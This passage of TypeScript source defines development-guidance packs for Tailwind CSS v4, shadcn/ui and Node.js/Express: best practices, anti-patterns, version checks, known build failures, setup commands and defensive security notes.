imply a passing type-check.',\n 'Compile/transpile for the target: tsup/tsc for libraries (emit declaration files), a bundler for apps; do not ship raw .ts to production.',\n 'Keep source maps out of public production bundles (or restrict access) so internal source is not exposed to clients.',\n 'Pin the TypeScript version in devDependencies; a minor bump can introduce new errors under strict and should be an intentional change.',\n 'Emit and publish .d.ts declaration files for shared packages so consumers get types without re-compiling the source.',\n ],\n commonFailures,\n};\n","/**\n * Tailwind CSS reference stack pack.\n *\n * Real, current (2026) guidance for Tailwind CSS v4: the CSS-first configuration\n * (`@import \"tailwindcss\"` + `@theme`, no mandatory tailwind.config.js), the new\n * first-party build integrations (@tailwindcss/vite, @tailwindcss/postcss), the\n * cn() clsx + tailwind-merge pattern, design tokens over arbitrary values, and\n * the ever-present \"dynamic class strings get compiled away\" pitfall. Applies to\n * the frontend frameworks that render markup (Next.js, React, Vite).\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Tailwind is a styling layer for markup-rendering frameworks. Match the\n// frontend frameworks, or an explicit \"tailwind\" deployment/target hint.\nconst TAILWIND_FRAMEWORKS = ['nextjs', 'react', 'vite'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'tailwind.v4-css-first-config',\n title: 'Configure Tailwind v4 in CSS with @import and @theme',\n detail:\n 'Tailwind v4 replaces the JS config with a single `@import \"tailwindcss\"` and a `@theme { --color-brand: ...; }` block in your main stylesheet. Define colors, spacing, fonts, and breakpoints as theme variables there; a tailwind.config.js is now optional and only needed for JS-based customisation via @config.',\n severity: 'medium',\n appliesTo: ['style', 'config'],\n },\n {\n id: 'tailwind.first-party-build-plugin',\n title: 'Use the v4 first-party build integration for your bundler',\n detail:\n 'Wire Tailwind v4 through @tailwindcss/vite (Vite) or @tailwindcss/postcss (PostCSS/Next.js). In v4 tailwindcss is no longer a direct PostCSS plugin, and autoprefixer/postcss-import are built in, so the old three-plugin postcss.config is obsolete.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'tailwind.design-tokens-over-arbitrary',\n title: 'Style with theme tokens, not one-off arbitrary values',\n detail:\n 'Prefer scale utilities (p-4, text-lg, text-brand) backed by @theme tokens over arbitrary values like p-[17px] or text-[#3b82f6]. Tokens keep spacing/typography/colour consistent and themeable; arbitrary values scatter magic numbers that drift from the design system.',\n severity: 'low',\n appliesTo: ['component', 'style'],\n },\n {\n id: 'tailwind.static-class-strings',\n title: 'Write class names as complete static strings the compiler can see',\n detail:\n 'Tailwind generates CSS by scanning source for full class name substrings. Keep every utility as a complete literal (use conditionals that pick whole class strings), because the compiler cannot see a name assembled at runtime from fragments.',\n severity: 'high',\n appliesTo: ['component', 'style'],\n },\n {\n id: 'tailwind.cn-merge-helper',\n title: 'Compose conditional classes with clsx + tailwind-merge (cn)',\n detail:\n 'Use a cn(...) helper (clsx for conditionals, tailwind-merge to resolve conflicts) when combining base classes with variant/override classes. tailwind-merge ensures the last conflicting utility wins (px-2 then px-4 → px-4) instead of both landing in the class list with undefined precedence.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'tailwind.extract-components-not-apply',\n title: 'Extract repetition into components, not @apply mega-classes',\n detail:\n 'When a utility cluster repeats, extract a React/JSX component (or a data-driven variant with CVA) rather than recreating Bootstrap-style .btn classes with @apply. Component extraction keeps a single source of truth; heavy @apply reintroduces the specificity and dead-CSS problems Tailwind avoids.',\n severity: 'low',\n appliesTo: ['component', 'style'],\n },\n {\n id: 'tailwind.mobile-first-responsive',\n title: 'Design mobile-first and layer breakpoints upward',\n detail:\n 'Unprefixed utilities apply at all sizes; sm:/md:/lg:/xl: apply at that breakpoint and up. Style the small screen first, then add larger-breakpoint overrides — do not write desktop styles and try to claw them back with max-* prefixes.',\n severity: 'low',\n appliesTo: ['component', 'style'],\n },\n {\n id: 'tailwind.dark-mode-strategy',\n title: 'Pick one dark-mode strategy and drive it from tokens',\n detail:\n 'Use the class/data-attribute dark strategy (dark:) toggled on <html>, or a prefers-color-scheme custom variant, and express colours as theme variables that switch per mode. Do not hand-maintain parallel light/dark colour literals across components.',\n severity: 'low',\n appliesTo: ['style', 'component'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'tailwind.anti.dynamic-class-names',\n title: 'Building class names by string concatenation',\n detail:\n '`text-${color}-500` or `p-${size}` produce class names the compiler never sees in source, so the CSS is never generated and the style silently vanishes in the build. Map inputs to complete static class strings (a lookup object of full class names) or, as a last resort, safelist them.',\n severity: 'high',\n appliesTo: ['component'],\n },\n {\n id: 'tailwind.anti.apply-everything',\n title: 'Recreating component frameworks with @apply',\n detail:\n 'Wrapping large utility sets in .card/.btn via @apply rebuilds the semantic-CSS model Tailwind exists to replace, grows the stylesheet, and reintroduces specificity wars. Extract a component instead and keep utilities in the markup.',\n severity: 'medium',\n appliesTo: ['style'],\n },\n {\n id: 'tailwind.anti.arbitrary-value-spam',\n title: 'Filling markup with arbitrary values',\n detail:\n 'p-[13px], top-[37%], and text-[#1a2b3c] everywhere bypass the design scale, so nothing is consistent or themeable. Add the value to the @theme scale once and reference the token; keep arbitrary values for rare true one-offs.',\n severity: 'low',\n appliesTo: ['component', 'style'],\n },\n {\n id: 'tailwind.anti.important-override',\n title: 'Fighting cascade issues with ! (important) utilities',\n detail:\n 'Prefixing utilities with ! to force them to win papers over an ordering/merge problem and makes later overrides impossible. Resolve conflicts with tailwind-merge (cn) and correct source order instead of escalating to important.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'tailwind.anti.conflicting-utilities',\n title: 'Passing conflicting utilities without merging them',\n detail:\n 'className={`px-2 ${props.className}`} where props.className is px-4 leaves both in the list; which wins depends on generated CSS order, not the caller\\'s intent. Run combined class names through tailwind-merge so the intended override deterministically wins.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'tailwindcss',\n supported: '^4',\n note: 'Tailwind CSS v4: CSS-first config (@import \"tailwindcss\" + @theme), a new high-performance engine, and built-in import/vendor-prefixing. The v3 tailwind.config.js/PostCSS-plugin setup is superseded — read the v4 upgrade guide before migrating.',\n },\n {\n pkg: '@tailwindcss/vite',\n supported: '^4',\n note: 'The first-party Vite plugin for Tailwind v4 — add it to vite.config plugins instead of the PostCSS pipeline for the fastest builds.',\n },\n {\n pkg: '@tailwindcss/postcss',\n supported: '^4',\n note: 'The v4 PostCSS plugin (used by Next.js and other PostCSS setups). In v4 you reference this, not `tailwindcss`, as the PostCSS plugin.',\n },\n {\n pkg: 'tailwind-merge',\n supported: '^2',\n note: 'tailwind-merge resolves conflicting Tailwind utilities so the last one wins; pair it with clsx in a cn() helper. Keep its version aligned with your Tailwind major.',\n },\n {\n pkg: 'clsx',\n supported: '^2',\n note: 'clsx builds conditional class strings ergonomically; combine with tailwind-merge for conflict resolution.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'tailwind.fail.v4-postcss-plugin-moved',\n signature:\n 'Error: It looks like you\\'re trying to use `tailwindcss` directly as a PostCSS plugin. The PostCSS plugin has moved to a separate package',\n cause: 'A Tailwind v4 project still lists `tailwindcss` as the PostCSS plugin (the v3 setup) in postcss.config.',\n fix: 'Install @tailwindcss/postcss and reference it as the PostCSS plugin (or switch to @tailwindcss/vite for Vite). Remove the now-built-in autoprefixer/postcss-import entries.',\n },\n {\n id: 'tailwind.fail.styles-not-applied',\n signature: 'Tailwind utility classes have no effect / the page renders unstyled',\n cause: 'The stylesheet does not @import \"tailwindcss\" (v4) or the content/source globs miss the files that use the classes, so no CSS is generated for them.',\n fix: 'Ensure the entry CSS does `@import \"tailwindcss\"` and is actually imported by the app; in v4 add `@source \"../path\"` if template files live outside the auto-detected roots.',\n },\n {\n id: 'tailwind.fail.dynamic-class-purged',\n signature: 'A class works in dev but disappears in the production build',\n cause: 'The class name was assembled dynamically (string interpolation), so the compiler could not find it as a literal substring and never emitted its CSS.',\n fix: 'Replace interpolation with a lookup of complete static class strings, or add the class to the safelist. Never build utility names from fragments.',\n },\n {\n id: 'tailwind.fail.conflicting-utility-order',\n signature: 'An override utility (e.g. px-4) is ignored and the base (px-2) still shows',\n cause: 'Two conflicting utilities are both present and the winner is decided by generated CSS source order, not by which one was passed last.',\n fix: 'Merge combined class names with tailwind-merge (via cn()) so the intended override wins deterministically.',\n },\n {\n id: 'tailwind.fail.v3-config-migration',\n signature: 'After upgrading to v4 the tailwind.config.js theme/customisations are no longer applied',\n cause: 'Tailwind v4 moved configuration into CSS (@theme) and does not auto-load tailwind.config.js unless it is referenced.',\n fix: 'Port theme customisations into an @theme block in your CSS, or explicitly load the JS config with `@config \"./tailwind.config.js\"` if you must keep it.',\n },\n];\n\n/**\n * The Tailwind CSS reference pack. Matches a markup-rendering frontend stack\n * (Next.js / React / Vite) or an explicit \"tailwind\" deployment-target hint.\n */\nexport const tailwindPack: StackPack = {\n id: 'tailwind',\n name: 'Tailwind CSS v4',\n matches: (stack) =>\n TAILWIND_FRAMEWORKS.includes(stack.framework) || stack.deploymentTargets.includes('tailwind'),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'tailwindcss@^4',\n '@tailwindcss/vite@^4',\n '@tailwindcss/postcss@^4',\n 'tailwind-merge@^2',\n 'clsx@^2',\n 'class-variance-authority@^0.7',\n 'prettier-plugin-tailwindcss@^0.6',\n 'tailwindcss-animate@^1',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm add tailwindcss @tailwindcss/vite',\n 'pnpm add tailwind-merge clsx class-variance-authority',\n 'pnpm add -D prettier prettier-plugin-tailwindcss',\n 'printf \\'@import \"tailwindcss\";\\\\n\\' > src/index.css',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec prettier --check .',\n 'pnpm exec vite build',\n ],\n qualityGates: [\n 'The entry CSS uses `@import \"tailwindcss\"` (v4) and is imported by the app.',\n 'Tailwind is wired via @tailwindcss/vite or @tailwindcss/postcss — `tailwindcss` is not used directly as a PostCSS plugin.',\n 'No class names are assembled by string interpolation (grep for backtick class templates); dynamic styling maps to complete static strings or a safelist.',\n 'Conditional/merged class names go through tailwind-merge (a cn() helper).',\n 'prettier-plugin-tailwindcss sorts utilities; `prettier --check` passes.',\n 'The production build renders fully styled (no purged classes) — verify a built preview, not just dev.',\n ],\n securityNotes: [\n 'Tailwind is compile-time CSS with no runtime and no direct security surface, but never build class names from unsanitised user input — a value that reaches the generated CSS or an arbitrary-value bracket can inject unexpected styles.',\n 'Avoid arbitrary-value utilities fed by user data (e.g. content-[...] or url() backgrounds from user input); validate and constrain any user-driven styling to a fixed allowlist of classes.',\n 'Keep the safelist small and explicit — a broad safelist ships unused CSS and can surface classes you meant to gate.',\n ],\n deploymentNotes: [\n 'The v4 engine tree-shakes unused utilities automatically; verify the production CSS is small and that no dynamically-referenced classes were dropped.',\n 'Serve the generated CSS with long-lived immutable cache headers on hashed filenames; it changes only when source classes change.',\n 'Run the Tailwind build as part of the app bundler build (Vite/Next) — there is no separate CLI step needed in the standard integrations.',\n 'If you rely on @source directives for template files outside the default roots, confirm those paths are correct in the CI build environment, not just locally.',\n ],\n commonFailures,\n};\n","/**\n * shadcn/ui reference stack pack.\n *\n * Real, current (2026) guidance for shadcn/ui: it is a code-distribution model,\n * not an installed component dependency — the CLI (`shadcn@latest`, the package\n * renamed from shadcn-ui) copies Radix-based, Tailwind-styled, CVA-variant\n * components into your repo, which you then own and edit. Covers components.json\n * aliases, the cn() utility, CSS-variable theming, deliberate manual updates,\n * preserving Radix accessibility, and React 19 / Tailwind v4 support. Applies to\n * the React-based frontend frameworks (Next.js, React, Vite).\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// shadcn/ui targets React apps built with Tailwind. Match the React-based\n// frontend frameworks, or an explicit \"shadcn\" hint.\nconst SHADCN_FRAMEWORKS = ['nextjs', 'react', 'vite'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'shadcn.own-the-code',\n title: 'Treat shadcn components as your source code, not a dependency',\n detail:\n 'The CLI copies component source into your repo (e.g. components/ui). You own, read, and edit these files directly — that is the point of the model. Commit them, review them, and adapt them to your design system instead of treating them as an opaque npm package.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'shadcn.add-via-cli',\n title: 'Add and scaffold components with the shadcn CLI',\n detail:\n 'Use `pnpm dlx shadcn@latest add <component>` (and `init` once) so imports, the cn() util, Tailwind theme variables, and peer primitives are wired consistently against your components.json. Hand-copying from the docs drifts from your alias/style configuration.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.cn-utility',\n title: 'Compose className with the generated cn() helper',\n detail:\n 'shadcn generates cn() (clsx + tailwind-merge) in lib/utils. Use it to combine base, variant, and caller-supplied classes so conflicting Tailwind utilities resolve predictably (the caller can override) instead of both landing in the class list.',\n severity: 'medium',\n appliesTo: ['component', 'lib'],\n },\n {\n id: 'shadcn.cva-variants',\n title: 'Model component variants with class-variance-authority',\n detail:\n 'Define visual variants (variant, size, etc.) with cva() and expose them as typed props via VariantProps. This keeps variant class logic in one declarative table and gives consumers autocomplete instead of ad-hoc conditional className strings.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.preserve-radix-a11y',\n title: 'Keep the Radix primitives and their accessibility wiring intact',\n detail:\n 'shadcn components are thin styled wrappers over Radix UI primitives that provide focus management, keyboard interaction, and ARIA. Keep the asChild pattern, Portal/Overlay structure, and aria props when editing; do not replace a Radix primitive with a plain div and lose the a11y behaviour.',\n severity: 'high',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.theme-css-variables',\n title: 'Theme through CSS variables, not per-component colour edits',\n detail:\n 'shadcn drives colour via CSS custom properties (background, foreground, primary, etc.) defined in your global stylesheet and referenced by the components. Retheme by editing those variables (and the dark selector) once, rather than hard-coding colours across individual components.',\n severity: 'medium',\n appliesTo: ['style', 'component'],\n },\n {\n id: 'shadcn.components-json-consistency',\n title: 'Keep components.json aliases aligned with tsconfig paths',\n detail:\n 'components.json records your style, base colour, and import aliases (@/components, @/lib/utils). Keep those aliases in sync with tsconfig paths and the bundler resolver so generated imports resolve; the CLI relies on this file to place and wire new components.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'shadcn.update-deliberately',\n title: 'Update components deliberately by diffing, not auto-upgrading',\n detail:\n 'Because the code lives in your repo, upstream fixes are not delivered by a version bump. Re-run the CLI for a component (or use the diff workflow) when you want an upstream change, and reconcile it against your local edits in a reviewed commit.',\n severity: 'low',\n appliesTo: ['component'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'shadcn.anti.treat-as-dependency',\n title: 'Trying to \"upgrade shadcn\" like an npm package',\n detail:\n 'There is no single shadcn/ui runtime package to bump for your components — they are copied source. Expecting `pnpm update` to patch a Button bug is a category error; pull upstream changes via the CLI/diff and merge them into your files.',\n severity: 'low',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.anti.strip-radix-a11y',\n title: 'Replacing Radix primitives with plain elements',\n detail:\n 'Swapping <DialogPrimitive.Content> for a <div> (or dropping asChild/aria wiring) to \"simplify\" a component silently removes focus trapping, escape handling, and screen-reader semantics, producing an inaccessible control that looks fine visually.',\n severity: 'high',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.anti.bypass-cn',\n title: 'Concatenating className strings instead of using cn()',\n detail:\n '`className={base + \" \" + props.className}` bypasses tailwind-merge, so a caller\\'s override and the base can both apply with undefined precedence. Route all className composition through cn() so overrides win deterministically.',\n severity: 'medium',\n appliesTo: ['component'],\n },\n {\n id: 'shadcn.anti.duplicate-utils',\n title: 'Multiple divergent copies of cn()/utils',\n detail:\n 'Copy-pasting components with their own local utils creates several cn() implementations that drift (different tailwind-merge configs), causing inconsistent conflict resolution. Keep one lib/utils cn() and import it everywhere.',\n severity: 'low',\n appliesTo: ['lib', 'component'],\n },\n {\n id: 'shadcn.anti.important-theme-override',\n title: 'Overriding shadcn styles with ! important instead of tokens/cn',\n detail:\n 'Forcing colours/spacing with ! utilities on top of a shadcn component fights the variant system and CSS variables. Retheme via the CSS custom properties or pass overriding classes through cn(); reserve edits to the component source for structural changes.',\n severity: 'low',\n appliesTo: ['component', 'style'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'shadcn',\n supported: 'latest',\n note: 'The CLI package is `shadcn` (renamed from shadcn-ui). Always invoke `shadcn@latest` so init/add support the current Tailwind v4 + React 19 output; the old shadcn-ui package is deprecated.',\n },\n {\n pkg: 'class-variance-authority',\n supported: '^0.7',\n note: 'CVA powers the variant tables in shadcn components (cva + VariantProps). Keep it installed and aligned with the version the generated components expect.',\n },\n {\n pkg: 'tailwind-merge',\n supported: '^2',\n note: 'Used inside cn() to resolve conflicting Tailwind utilities so caller overrides win. Must be present for shadcn components to compose correctly.',\n },\n {\n pkg: 'clsx',\n supported: '^2',\n note: 'The conditional-classname half of cn(); shadcn generates lib/utils around clsx + tailwind-merge.',\n },\n {\n pkg: 'tailwindcss',\n supported: '^4',\n note: 'Current shadcn output targets Tailwind v4 (CSS variables + @theme). Use shadcn@latest so init writes v4-compatible tokens rather than a v3 tailwind.config.',\n },\n {\n pkg: 'lucide-react',\n supported: '^0.4',\n note: 'lucide-react is the default icon set referenced by shadcn components; install it so generated components resolve their icon imports.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'shadcn.fail.cn-import-missing',\n signature: \"Module not found / Cannot find module '@/lib/utils' (or cn is not exported) after adding a component\",\n cause: 'The cn() utility was not generated (init skipped) or the @/lib/utils path alias does not resolve to the file the components import.',\n fix: 'Run `shadcn@latest init` to generate lib/utils, and align the @/* alias in components.json with tsconfig paths and the bundler resolver.',\n },\n {\n id: 'shadcn.fail.alias-mismatch',\n signature: 'Generated component imports (e.g. @/components/ui/button) fail to resolve at build time',\n cause: 'components.json aliases (components, utils) do not match the tsconfig path mappings or the actual folder layout.',\n fix: 'Reconcile components.json aliases with tsconfig \"paths\" (and the src-dir setting) so the CLI writes imports that the compiler and bundler can resolve.',\n },\n {\n id: 'shadcn.fail.tailwind4-init',\n signature: 'shadcn init errors or writes a v3-style config on a Tailwind v4 project',\n cause: 'An older shadcn/shadcn-ui CLI was used that predates Tailwind v4 CSS-first configuration.',\n fix: 'Use `pnpm dlx shadcn@latest init`; ensure Tailwind v4 (@import \"tailwindcss\") is set up first so init writes CSS-variable theme tokens rather than a tailwind.config theme.',\n },\n {\n id: 'shadcn.fail.style-override-ignored',\n signature: 'A className override on a shadcn component is ignored and the default styling wins',\n cause: 'The component composed classes without cn()/tailwind-merge, so the base utility and the override collide and source order decides the winner.',\n fix: 'Ensure the component uses cn() to merge className, and that a single tailwind-merge-based cn() is shared repo-wide.',\n },\n {\n id: 'shadcn.fail.react19-peer-deps',\n signature: 'npm install fails with ERESOLVE peer dependency conflicts on React 19 when adding components',\n cause: 'A transitive UI dependency still declares a React 18 peer range, which npm treats as a hard conflict under React 19.',\n fix: 'Use pnpm (which is more permissive) or npm install --legacy-peer-deps, and prefer the shadcn@latest components which target React 19; upgrade the offending primitive when a React 19-compatible release exists.',\n },\n];\n\n/**\n * The shadcn/ui reference pack. Matches a React-based frontend stack\n * (Next.js / React / Vite) or an explicit \"shadcn\" deployment-target hint.\n */\nexport const shadcnPack: StackPack = {\n id: 'shadcn-ui',\n name: 'shadcn/ui (Radix + Tailwind)',\n matches: (stack) =>\n SHADCN_FRAMEWORKS.includes(stack.framework) || stack.deploymentTargets.includes('shadcn'),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'shadcn@latest',\n 'class-variance-authority@^0.7',\n 'tailwind-merge@^2',\n 'clsx@^2',\n 'tailwindcss@^4',\n 'lucide-react@^0.4',\n 'tailwindcss-animate@^1',\n '@radix-ui/react-slot@^1',\n ],\n versionChecks,\n setupCommands: [\n 'pnpm dlx shadcn@latest init',\n 'pnpm dlx shadcn@latest add button input dialog form',\n 'pnpm add class-variance-authority tailwind-merge clsx lucide-react',\n ],\n testCommands: [\n 'pnpm exec tsc --noEmit',\n 'pnpm exec eslint .',\n 'pnpm exec vitest run',\n ],\n qualityGates: [\n 'components.json aliases resolve against tsconfig paths; generated `@/components/ui/*` and `@/lib/utils` imports build.',\n 'A single cn() (clsx + tailwind-merge) lives in lib/utils and every component composes className through it.',\n 'Radix primitives and their accessibility props (asChild, aria-*, focus/escape handling) are preserved in any edited component.',\n 'Theming is driven by CSS variables in the global stylesheet, not per-component hard-coded colours.',\n 'Components were added via `shadcn@latest` (Tailwind v4 + React 19 output), not hand-copied.',\n 'Typecheck and lint pass; interactive components (dialog, popover, form) keep keyboard/focus behaviour.',\n ],\n securityNotes: [\n 'shadcn components are your own source code — review the copied files like any dependency you vendor; do not blindly paste component code from untrusted forks/registries, which can execute arbitrary code in your app.',\n 'When pointing the CLI at a custom/remote registry, trust it as you would any code source — a malicious registry can inject scripts into generated components.',\n 'Form components are presentation only: always re-validate submitted data on the server (Zod) — the shadcn/react-hook-form wiring is client-side UX, not a security boundary.',\n 'Preserve the Radix accessibility wiring; an inaccessible control is both a usability and a compliance (WCAG) risk, and stripping it to \"simplify\" is a silent regression.',\n ],\n deploymentNotes: [\n 'Because component code is committed to your repo, deployments need no shadcn runtime — the components build as ordinary React + Tailwind source.',\n 'Ensure the peer primitives (Radix packages, lucide-react, cva) are in dependencies so CI installs and builds them; a missing peer only surfaces at build time.',\n 'When upgrading a component from upstream, do it in a dedicated reviewed commit so the diff against your local edits is visible before it ships.',\n 'Keep the Tailwind v4 theme tokens the components rely on defined in the deployed CSS; a missing --color-* variable renders components unstyled in production.',\n ],\n commonFailures,\n};\n","/**\n * Node.js (backend) reference stack pack.\n *\n * Real, current (2026) guidance for a server-side Node service (plain Node or\n * Express 5): native ESM, config/secret validation at startup, async error\n * handling (Express 5 forwards rejected promises), boundary input validation,\n * graceful shutdown, security middleware (helmet/cors/rate-limit), never\n * blocking the event loop, structured logging, and connection-pool reuse.\n * Anchored to Node 22 LTS / 24, Express 5.x, Zod 3, Pino 9, Helmet 8.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// A backend Node pack applies to a node service or an Express app.\nconst NODE_FRAMEWORKS = ['node', 'express'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'node.native-esm',\n title: 'Use native ESM with \"type\": \"module\"',\n detail:\n 'Set \"type\": \"module\" and write import/export throughout. Modern Node fully supports ESM; use import.meta.url / import.meta.dirname instead of __dirname, and createRequire only for the rare CJS-only dependency. A consistent module system avoids the ERR_REQUIRE_ESM / dual-package pitfalls.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'node.validate-config-at-startup',\n title: 'Load and validate configuration/secrets at startup with a schema',\n detail:\n 'Read config from the environment (never hard-code) and parse process.env through a Zod schema at boot, failing fast with a clear message if a required var is missing or malformed. Use node --env-file=.env (or dotenv) for local dev, and inject real secrets from the platform in production.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'node.async-error-handling',\n title: 'Propagate async errors to one centralised error handler',\n detail:\n 'Express 5 automatically forwards errors thrown from async route handlers to error middleware, so define a single 4-argument (err, req, res, next) handler at the end of the chain that logs and returns a safe response. On plain Node, wrap request handling so a rejected promise never escapes unhandled.',\n severity: 'high',\n appliesTo: ['service', 'api', 'middleware'],\n },\n {\n id: 'node.validate-request-input',\n title: 'Validate every request input at the boundary',\n detail:\n 'Parse req.body, req.query, and req.params through a Zod schema before use; treat all of them as untrusted. Reject invalid input with 400 and a typed error, and derive the handler\\'s types from the schema so validation and typing cannot diverge.',\n severity: 'high',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'node.graceful-shutdown',\n title: 'Shut down gracefully on SIGTERM/SIGINT',\n detail:\n 'On SIGTERM stop accepting new connections (server.close), let in-flight requests finish within a timeout, then close the DB/redis pools and exit. Orchestrators send SIGTERM before SIGKILL; without a handler you drop live requests and leak connections on every deploy.',\n severity: 'medium',\n appliesTo: ['service', 'config'],\n },\n {\n id: 'node.security-middleware',\n title: 'Apply security headers, a CORS allowlist, and rate limiting',\n detail:\n 'Front the app with helmet for secure headers, configure cors with an explicit origin allowlist (not \"*\") for credentialed APIs, and add rate limiting on auth/public endpoints. These are baseline controls, applied before route handlers.',\n severity: 'high',\n appliesTo: ['middleware', 'api'],\n },\n {\n id: 'node.never-block-event-loop',\n title: 'Keep synchronous/CPU work off the request path',\n detail:\n 'Avoid *Sync fs calls, synchronous crypto/hashing, and large JSON.parse on the hot path — they stall the single-threaded event loop and block every concurrent request. Use async APIs, stream large payloads, and offload CPU-bound work to a worker_thread or a queue.',\n severity: 'medium',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'node.timeouts-and-abort',\n title: 'Put timeouts and AbortSignal on every outbound call',\n detail:\n 'Wrap outbound fetch/DB/HTTP calls with an AbortController timeout (fetch supports signal / AbortSignal.timeout) so a slow upstream cannot pile up requests and exhaust the pool. A hung dependency without a timeout becomes your outage.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'node.structured-logging',\n title: 'Emit structured logs and never leak secrets into them',\n detail:\n 'Use a structured logger (pino) with levels and request correlation ids instead of console.log, and redact tokens/passwords/PII from log payloads. Structured JSON logs are queryable in production; ad-hoc console output is not, and often leaks sensitive fields.',\n severity: 'medium',\n appliesTo: ['service', 'config'],\n },\n {\n id: 'node.reuse-connection-pools',\n title: 'Create connection pools once and reuse them',\n detail:\n 'Instantiate DB/redis/HTTP clients a single time at module scope and share the pool across requests. Creating a new client or pool per request exhausts the database\\'s connection limit and adds handshake latency to every call.',\n severity: 'high',\n appliesTo: ['service', 'config'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'node.anti.floating-promise',\n title: 'Floating promises / missing await',\n detail:\n 'Calling an async function without awaiting it (or handling its rejection) means an error becomes an unhandledRejection — which crashes the process on modern Node — and the ordering guarantees you assumed do not hold. Await it, or explicitly .catch and handle it.',\n severity: 'high',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'node.anti.sync-blocking',\n title: 'Synchronous blocking calls on the request path',\n detail:\n 'fs.readFileSync, crypto.pbkdf2Sync/bcrypt sync, or a huge synchronous loop inside a handler freezes the event loop so no other request is served until it finishes. Use the async variants and offload CPU-heavy work.',\n severity: 'medium',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'node.anti.secret-in-code',\n title: 'Hard-coding secrets or connection strings',\n detail:\n 'Committing an API key, DB password, or JWT secret bakes it into the repo history and every image. Read secrets from the environment/secret manager, validate them at startup, and rotate anything that was ever committed.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'node.anti.no-input-validation',\n title: 'Trusting req.body/query/params without validation',\n detail:\n 'Passing request data straight into business logic or a database call invites injection, mass-assignment, and type-confusion bugs. Validate and coerce every input at the boundary before it reaches any handler logic.',\n severity: 'high',\n appliesTo: ['api', 'service'],\n },\n {\n id: 'node.anti.leaky-error-response',\n title: 'Returning raw errors/stack traces to the client',\n detail:\n 'Sending err.stack or internal messages in the HTTP response leaks file paths, dependency versions, and query internals that aid an attacker. Log the detail server-side and return a generic, safe error body with a correlation id.',\n severity: 'medium',\n appliesTo: ['api', 'middleware'],\n },\n {\n id: 'node.anti.string-concatenated-sql',\n title: 'Building SQL/commands by string concatenation',\n detail:\n \"`\\\"SELECT * FROM users WHERE id = '\\\" + id + \\\"'\\\"` is a SQL-injection hole; the same applies to shell commands built from input. Use parameterised queries / prepared statements and avoid shelling out with interpolated input.\",\n severity: 'critical',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'node.anti.no-timeout',\n title: 'Outbound calls with no timeout',\n detail:\n 'An external HTTP/DB call without a timeout can hang indefinitely, holding a connection and a request slot; under load this cascades into pool exhaustion and a full outage. Always bound outbound calls with an AbortSignal/timeout.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'node',\n supported: '>=22',\n note: 'Target an active LTS (Node 22 \"Jod\" or 24): native fetch, node --env-file, the node:test runner, and stable ESM. Avoid EOL majors — they stop receiving security patches.',\n },\n {\n pkg: 'express',\n supported: '^5',\n note: 'Express 5: async route handlers that reject now forward to error middleware automatically, path-matching changed (no more unsafe regex quirks), and req.query is stricter. Review the 4→5 migration notes before upgrading.',\n },\n {\n pkg: 'zod',\n supported: '^3',\n note: 'Zod 3 for runtime validation of env, request bodies, and outbound responses; infer handler types from the schema.',\n },\n {\n pkg: 'helmet',\n supported: '^8',\n note: 'helmet 8 sets secure HTTP response headers (CSP, HSTS, etc.); apply it early in the middleware chain.',\n },\n {\n pkg: 'pino',\n supported: '^9',\n note: 'pino 9 for fast structured JSON logging with redaction; prefer it to console.* in a service.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'node.fail.require-esm',\n signature: 'Error [ERR_REQUIRE_ESM]: require() of ES Module ... not supported / \"Cannot use import statement outside a module\"',\n cause: 'CommonJS and ESM are mixed — a require() hit an ESM-only package, or \"type\": \"module\" is missing/incorrect for the syntax used.',\n fix: 'Standardise on ESM (\"type\": \"module\" + import), use await import() for a dynamic case, and reserve createRequire for a genuinely CJS-only dependency.',\n },\n {\n id: 'node.fail.unhandled-rejection-crash',\n signature: 'UnhandledPromiseRejection ... the process will terminate / the service exits after an async error',\n cause: 'A promise rejected with no await and no .catch, so Node raised an unhandledRejection, which terminates the process by default on modern versions.',\n fix: 'Await async calls (enable eslint no-floating-promises), handle rejections in the centralised error path, and let Express 5 forward async handler errors to error middleware.',\n },\n {\n id: 'node.fail.cors-blocked',\n signature: \"Browser console: 'has been blocked by 